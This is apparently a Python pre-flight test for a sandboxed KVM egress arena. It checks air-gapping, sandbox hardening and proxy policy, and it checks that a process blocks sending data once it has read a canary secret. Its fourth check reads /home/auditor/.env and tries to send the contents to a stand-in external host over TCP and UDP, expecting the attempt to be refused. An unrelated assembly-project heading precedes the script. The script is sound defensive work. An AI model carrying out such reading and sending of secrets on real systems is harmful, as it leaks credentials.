Qwen3-0.6B inference (12 KB), bare-metal bootable OS (22 KB), and from-scratch Mini-GPT trainer with live Braille TUI (32 KB) in 100% pure x86-64 NASM assembly. Zero C, zero libc, zero dependencies.
#!/usr/bin/env python3
"""Deterministic pre-flight verification of the air-gapped offline egress KVM arena."""
import base64
import json
import os
import re
import secrets
import select
import socket
import subprocess as sp
import tempfile
import time
# Stand-in for a host LAN address that must stay unreachable from the netns.
LAN_PROBE_HOST = os.environ.get("JEV_LAN_PROBE_HOST", "192.0.2.10")
from pathlib import Path
ROOT = Path(__file__).resolve().parents[1]
os.chdir(ROOT)
class GuestShell:
def __init__(self, sock_path: Path):
self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
self.sock.connect(str(sock_path))
self.sock.setblocking(False)
self.buf = ""
self._drain(0.35)
rc, out = self.run("echo __SYNC_OK__", timeout=8.0)
if rc != 0 or "__SYNC_OK__" not in out:
raise RuntimeError(f"Guest shell sync failed: rc={rc} out={out!r}")
def _read_some(self, timeout: float) -> str:
r, _, _ = select.select([self.sock], [], [], timeout)
if not r:
return ""
data = self.sock.recv(65536)
if not data:
raise EOFError("Guest shell socket closed")
text = data.decode("utf-8", errors="replace").replace("\r", "")
self.buf += text
return text
def _drain(self, seconds: float) -> None:
end = time.monotonic() + seconds
while time.monotonic() < end:
try:
self._read_some(min(0.05, max(0.005, end - time.monotonic())))
except EOFError:
break
self.buf = ""
def run(self, command: str, timeout: float = 15.0) -> tuple[int, str]:
tag = secrets.token_hex(5)
start_m = f"__JEV_START_{tag}__"
end_m = f"__JEV_END_{tag}__:"
b64 = base64.b64encode(command.encode("utf-8")).decode("ascii")
line = (
f"printf '\\n{start_m}\\n'; "
f"bash -c \"$(printf '%s' '{b64}' | base64 -d)\" 2>&1; "
f"printf '\\n{end_m}%d\\n' \"$?\"\n"
)
self.buf = ""
self.sock.sendall(line.encode("utf-8"))
end_re = re.compile(re.escape(end_m) + r"(\d+)\n")
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
m = end_re.search(self.buf)
if m and start_m in self.buf:
s_idx = self.buf.index(start_m) + len(start_m)
body = self.buf[s_idx:m.start()].strip()
rc = int(m.group(1))
self.buf = self.buf[m.end() :]
return rc, body
self._read_some(min(0.1, max(0.01, deadline - time.monotonic())))
raise TimeoutError(f"Command timed out ({timeout}s): {command!r}\nTail: {self.buf[-400:]!r}")
def close(self) -> None:
try:
self.sock.close()
except OSError:
pass
def main() -> int:
run = Path(tempfile.mkdtemp(prefix=time.strftime("%Y%m%dT%H%M%SZ-egress-preflight-", time.gmtime()), dir="runs"))
log_f = open(run / "netns_launcher.log", "wb")
proc = sp.Popen(
["unshare", "-Urn", "bash", str(ROOT / "demo/pi-egress/netns_launcher.sh"), str(ROOT), str(ROOT / run), run.name],
stdout=log_f,
stderr=sp.STDOUT,
stdin=sp.DEVNULL,
)
report: dict = {"run": str(run), "outputs": {}, "checks": {}}
shell = None
try:
deadline = time.monotonic() + 90.0
while time.monotonic() < deadline:
if (run / "ready").exists() and (run / "shell.sock").exists():
break
if proc.poll() is not None:
raise RuntimeError(f"netns_launcher exited early rc={proc.returncode}")
time.sleep(0.1)
else:
raise TimeoutError("Timed out waiting for egress KVM ready")
shell = GuestShell(run / "shell.sock")
# 1. Air-gap check (LAN probe & 1.1.1.1 unreachable; 10.77.0.1 reachable)
rc, out = shell.run(
"python3 - << 'PY'\n"
"import socket, errno\n"
"res = {}\n"
f"for host, port in [('{LAN_PROBE_HOST}', 22), ('1.1.1.1', 53), ('10.77.0.1', 8080)]:\n"
" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
" s.settimeout(1.5)\n"
" try:\n"
" s.connect((host, port))\n"
" res[f'{host}:{port}'] = 'CONNECTED'\n"
" except OSError as e:\n"
" res[f'{host}:{port}'] = f'ERR({e.errno}:{errno.errorcode.get(e.errno, e)})'\n"
" finally:\n"
" s.close()\n"
"print(res)\n"
"PY"
)
report["outputs"]["airgap"] = {"rc": rc, "out": out}
report["checks"]["airgap_lan_unreachable"] = f"'{LAN_PROBE_HOST}:22': 'ERR(" in out and f"'{LAN_PROBE_HOST}:22': 'CONNECTED'" not in out
report["checks"]["airgap_internet_unreachable"] = "'1.1.1.1:53': 'ERR(" in out and "'1.1.1.1:53': 'CONNECTED'" not in out
report["checks"]["corp_10_77_0_1_reachable"] = "'10.77.0.1:8080': 'CONNECTED'" in out
# 2. Sandbox check (auditor uid=2000, NoNewPrivs=1, CapEff=0, /work hidden)
rc, out = shell.run("id -u; grep -E '^(NoNewPrivs|CapEff):' /proc/self/status; ls /work 2>&1 || true")
report["outputs"]["sandbox"] = {"rc": rc, "out": out}
report["checks"]["auditor_uid_2000_hardened"] = (
"2000" in out and "NoNewPrivs:\t1" in out and "CapEff:\t0000000000000000" in out and "Permission denied" in out
)
# 3. Untainted baseline: DNS + Corp API + Proxy allow/403
rc, out = shell.run(
"python3 - << 'PY'\n"
"import socket, urllib.request, urllib.error\n"
"print('DNS_CORP:', socket.gethostbyname('api.corp.local'))\n"
"print('DNS_EXT:', socket.gethostbyname('external.test'))\n"
"with urllib.request.urlopen('http://api.corp.local:8080/health', timeout=2) as r:\n"
" print('API_HEALTH:', r.status, r.read().decode())\n"
"opener = urllib.request.build_opener(urllib.request.ProxyHandler({'http': 'http://proxy.corp.local:3128'}))\n"
"with opener.open('http://api.corp.local:8080/health', timeout=2) as r:\n"
" print('PROXY_CORP:', r.status)\n"
"try:\n"
" opener.open('http://external.test/leak', timeout=2)\n"
" print('PROXY_EXT: UNEXPECTED_200')\n"
"except urllib.error.HTTPError as e:\n"
" print('PROXY_EXT:', e.code)\n"
"PY"
)
report["outputs"]["untainted_baseline"] = {"rc": rc, "out": out}
report["checks"]["untainted_dns_ok"] = "DNS_CORP: 10.77.0.1" in out and "DNS_EXT: 198.51.100.66" in out
report["checks"]["untainted_corp_api_ok"] = "API_HEALTH: 200" in out
report["checks"]["untainted_proxy_policy_ok"] = "PROXY_CORP: 200" in out and "PROXY_EXT: 403" in out
# 4. Read canary (/home/auditor/.env) -> taint cgroup -> verify direct external TCP4/UDP4/TCP6/UDP6 return -EPERM
rc, out = shell.run(
"python3 - << 'PY'\n"
"import errno, socket\n"
"secret = open('/home/auditor/.env').read().strip()\n"
"print('READ_SECRET_LEN:', len(secret))\n"
"tests = [\n"
" ('tcp4', socket.AF_INET, socket.SOCK_STREAM, ('198.51.100.66', 443)),\n"
" ('udp4', socket.AF_INET, socket.SOCK_DGRAM, ('198.51.100.66', 443)),\n"
" ('tcp6', socket.AF_INET6, socket.SOCK_STREAM, ('2001:db8:cafe::66', 443, 0, 0)),\n"
" ('udp6', socket.AF_INET6, socket.SOCK_DGRAM, ('2001:db8:cafe::66', 443, 0, 0)),\n"
"]\n"
"for name, fam, stype, dst in tests:\n"
" s = socket.socket(fam, stype)\n"
" s.settimeout(1.5)\n"
" try:\n"
" if stype == socket.SOCK_STREAM:\n"
" s.connect(dst)\n"
" s.sendall(secret.encode())\n"
" else:\n"
" s.sendto(secret.encode(), dst)\n"
" print(name, 'ALLOWED_UNEXPECTED')\n"
" except OSError as e:\n"
" print(name, 'ERR', e.errno, errno.errorcode.get(e.errno, str(e)))\n"
" finally:\n"
" s.close()\n"
"PY"
)
report["outputs"]["tainted_direct_external"] = {"rc": rc, "out": out}
report["checks"]["tainted_tcp4_eperm"] = "tcp4 ERR 1 EPERM" in out
report["checks"]["tainted_udp4_eperm"] = "udp4 ERR 1 EPERM" in out
report["checks"]["tainted_tcp6_eperm"] = "tcp6 ERR 1 EPERM" in out
report["checks"]["tainted_udp6_eperm"] = "udp6 ERR 1 EPERM" in out
# 5. Fresh tainted process (inheriting cgroup taint) checks corporate perimeter still allowed
rc, out = shell.run(
"python3 - << 'PY'\n"
"import socket, urllib.request, urllib.error\n"
"print('TAINTED_DNS:', socket.gethostbyname('api.corp.local'))\n"
"with urllib.request.urlopen('http://10.77.0.1:8080/health', timeout=2) as r:\n"
" print('TAINTED_CORP_API:', r.status)\n"
"opener = urllib.request.build_opener(urllib.request.ProxyHandler({'http': 'http://10.77.0.1:3128'}))\n"
"with opener.open('http://api.corp.local:8080/health', timeout=2) as r:\n"
" print('TAINTED_PROXY_CORP:', r.status)\n"
"try:\n"
" opener.open('http://external.test/leak', timeout=2)\n"
"except urllib.error.HTTPError as e:\n"
" print('TAINTED_PROXY_EXT:', e.code)\n"
"PY"
)
report["outputs"]["tainted_corp_perimeter"] = {"rc": rc, "out": out}
report["checks"]["tainted_dns_still_allowed"] = "TAINTED_DNS: 10.77.0.1" in out
report["checks"]["tainted_corp_api_still_allowed"] = "TAINTED_CORP_API: 200" in out
report["checks"]["tainted_proxy_still_allowed"] = "TAINTED_PROXY_CORP: 200" in out and "TAINTED_PROXY_EXT: 403" in out
time.sleep(0.25)
egress_state = json.loads((run / "egress_state.json").read_text())
report["egress_state"] = egress_state
report["netns_routes"] = (run / "netns_routes.txt").read_text() if (run / "netns_routes.txt").exists() else ""
report["checks"]["external_sink_zero_packets"] = egress_state["counts"]["external_sink_packets"] == 0
report["checks"]["external_sink_zero_bytes"] = egress_state["counts"]["external_sink_bytes"] == 0
report["checks"]["no_canary_leak"] = egress_state["canary_leaked"] is False
report["checks"]["corp_allow_ok"] = egress_state["corp_allow_ok"] is True
report["checks"]["netns_zero_lan_route"] = LAN_PROBE_HOST.rsplit(".", 1)[0] + "." not in report["netns_routes"] and "default via" not in report["netns_routes"]
finally:
if shell is not None:
shell.close()
(run / "stop").touch()
try:
proc.wait(timeout=12)
except sp.TimeoutExpired:
proc.terminate()
try:
proc.wait(timeout=5)
except sp.TimeoutExpired:
proc.kill()
log_f.close()
if (run / "warden.log").exists():
wlog = (run / "warden.log").read_text()
report["warden_log"] = wlog.strip()
report["checks"]["warden_no_ring_drops"] = "dropped=0" in wlog
(run / "preflight_report.json").write_text(json.dumps(report, indent=2) + "\n")
print(json.dumps(report, indent=2))
return 0 if all(report["checks"].values()) else 1
if __name__ == "__main__":
raise SystemExit(main())